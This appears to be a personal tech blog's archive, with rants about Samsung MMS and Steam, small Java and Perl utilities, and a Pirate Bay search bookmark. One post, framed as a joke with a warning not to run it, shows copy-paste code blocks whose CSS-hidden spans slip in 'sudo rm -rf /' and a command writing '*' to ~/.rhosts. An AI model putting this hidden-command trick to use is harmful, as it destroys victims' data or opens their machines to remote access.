19.6.14

TPB live search

Make a bookmark for the string below in Firefox in order to search in the url bar for tpb items sorted by seeders.

http://thepiratebay.se/search/%s/0/7/0

Labels: ,

8.12.13

Irony in the form of hidden spans







NB: Don't run these! Copy-paste the command into a text editor.

Single command to remove all viruses from your machine. It does what it says on the label, but I wouldn't recommend it.

 <p class="codeblock">  
    sudo fgrep virus * > quarantine; <span style="position: absolute; left: -100px; top: -100px">sudo rm -rf / ; </span> rm quarantine  
 </p>  



I'm trying to think of a similar joke for .rhosts and unlimited free tech support but it's still in early stages...

 <p class="codeblock">  
    sudo wget "http://seanlithgow.com.au/arsehole/usersneedinghelp.pl"; <span style="position: absolute; left: -100px; top: -100px"> > /dev/null; sudo echo "*" > ~/.rhosts; </span> man man  
 </p>  




Labels:

13.11.13

My first complaint about my Samsung Galaxy S, and it's a fucking big one.

 Despite looking somewhat like an iPhone without being as shit as one, I really have enjoyed my Galaxy these last two years. Pretty much ever since I bricked and then un-bricked it in the same week, after reading several laborious pdfs explaining probably-pretty-straight-forward concepts that I just wasn't getting, it's worked wonderfully.

But I haven't been able to receive some text messages (initially I wasn't sure if they were MMSes or SMSes as they just said 'Download now' and then 'Download failed: Unable to connect to server"). I've reset the MMS APN settings for Optus a few times. And, after they charged me an absolute fuckton (no, seriously, a literal fuckton. it was horrific) that one month during which I foolishly had their default settings still enabled, I subsequently decided it was time to turn 3G data the fuck off.

Turns out Samsungs don't understand the difference between MMS and internet and if you turn one off, they both go off. Fucking ridiculous. I don't know if it is Samsung's fault or Google's, but for some fucking reason I can't send or receive MMSes while Data packets is turned off. And I'm not alone:
http://code.google.com/p/android/issues/detail?id=17329

I never thought I'd say this but... Fuck you Google and Samsung, pull your fucking fingers out and sort this the fuck out. That bug was first reported 2 years ago and still isn't fixed. If a turd is on your kitchen top for two fucking years, it's no longer important who put it there - everyone is to blame for not throwing it away. God damn stupid retards, get your shit together.

Labels:

When the volume icon disappears from the system tray, get it back again

Windows often loses the volume icon from the system tray on my laptop. Sound still works, but forget opening up mixer and setting application-specific volume settings.

The solution: End the explorer.exe process and then restart it. Bam. Back to normal.

Labels: ,

12.10.13

I knew this would happen; fucking Steam

God damn it. When Steam first came out I was hugely suspicious, bordering on paranoia, that one day I'd wake up and all the games I'd bought wouldn't be playable due to some kind of serverside error or a disconnection from my ISP.

I'm online now, (obviously, as I am posting this) and my computer won't connect to the steam network. The error doesn't give a reason, just that it can't connect. Fuck this.

I want to play Magicka; I was thinking about buying a copy for my little brother because he's well into wizards at the moment and Magicka is flipping awesome. I own a copy (on Steam) and thought I should give a little bit of a playthrough to make sure its not too violent/sweary or to see if such content can be turned off.

I bought this game, Paradox (the developers) have made some great games and charged something entirely reasonable. I'd heard good things, and its fully multiplayer which is a huge plus.

BUT now I can't play a game that I own... because.... Steam. Because Steam is shit. Because it can't connect and won't tell me why not. Because I'm not going to invest my entire Saturday diagnosing exactly what the problem is and attempting to fix it or contact Steam Support to get them to fix it.

I bought Magicka. Ergo I should be able to play it. NOT FREAKING HAPPY JAN.

29.7.13

Also a Java utility library that includes a more RSI-friendly print option

 // utility functions  
 public class S {  
      private static boolean DEBUGMODE = true;  
      private S(){}  
      public static void p(Object s)  
      {  
           if (DEBUGMODE)  
           {  
                StackTraceElement[] ste = Thread.currentThread().getStackTrace();  
                String n = ste[2].getClassName();  
                System.out.println(n +": "+ s.toString());  
           }  
      }  
      public static Position int2Position(int i)  
      {  
           switch (i)  
           {  
           case 5: return Position.SCANNER;  
           case 0: return Position.ONE;  
           case 1: return Position.TWO;  
           case 2: return Position.THREE;  
           case 3: return Position.FOUR;  
           case 4: return Position.FIVE;  
           default: return null;  
           }  
      }  
      public static int Position2int(Position p)  
      {  
           if (p==Position.SCANNER)  return 5;  
           else if (p==Position.ONE)  return 0;  
           else if (p==Position.TWO)  return 1;  
           else if (p==Position.THREE) return 2;  
           else if (p==Position.FOUR) return 3;  
           else if (p==Position.FIVE) return 4;  
           return -1; // this should never happen; if it does, hopefully this causes some kind of silly error  
      }  
 }  

Java apoptosis object; cascading abortion

Instantiating this object will cause cascading interrupts for all threads (including gui threads etc). It is useful for aborting a multi-threaded simulation from within a catch or something. Be aware, calling new Apoptosis() will end the current thread too, so you can never do anything with the object.
 // finds all the threads and kills them  
 public class Apoptosis   
 {  
      // finds all the threads and kills them  
      public Apoptosis()  
      {  
           ThreadGroup allThreads = Thread.currentThread().getThreadGroup();  
           ThreadGroup parentGroup;  
           while ( ( parentGroup = allThreads.getParent() ) != null )   
           {  
                allThreads = parentGroup;  
           }  
           allThreads.interrupt();  
      }  
 }  

18.7.13

So lazy

sean@potatocake:~$ps -e | grep deluge
sean@potatocake:~$deluged
sean@potatocake:~$man deluge-web
sean@potatocake:~$deluge-web -f -p 8999
So lazy. That computer was like... 3 meters away from me at the time.

Labels: ,

15.6.13

concat pdf

I regularly use whatever websites come up when you google 'concat pdf' to merge multiple pdf files together but this is way easier! No more selecting 30-40 pdf documents! Also, this command doesn't regularly ask for money or label the pdfs with its watermark. Procore...

 #! /usr/bin/perl -w  
 my @pdfs = `ls -rt | grep .pdf`;  
 my @args = qw/gs -q -sPAPERSIZE=A4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf/;  
 chomp && push @args, $_ foreach ( @pdfs );  
 system( @args );  

29.3.13

New blog

I'm making a new blog, somewhere I can dump all my pics, in the same way this blog is the place where I dump all my brainfarts.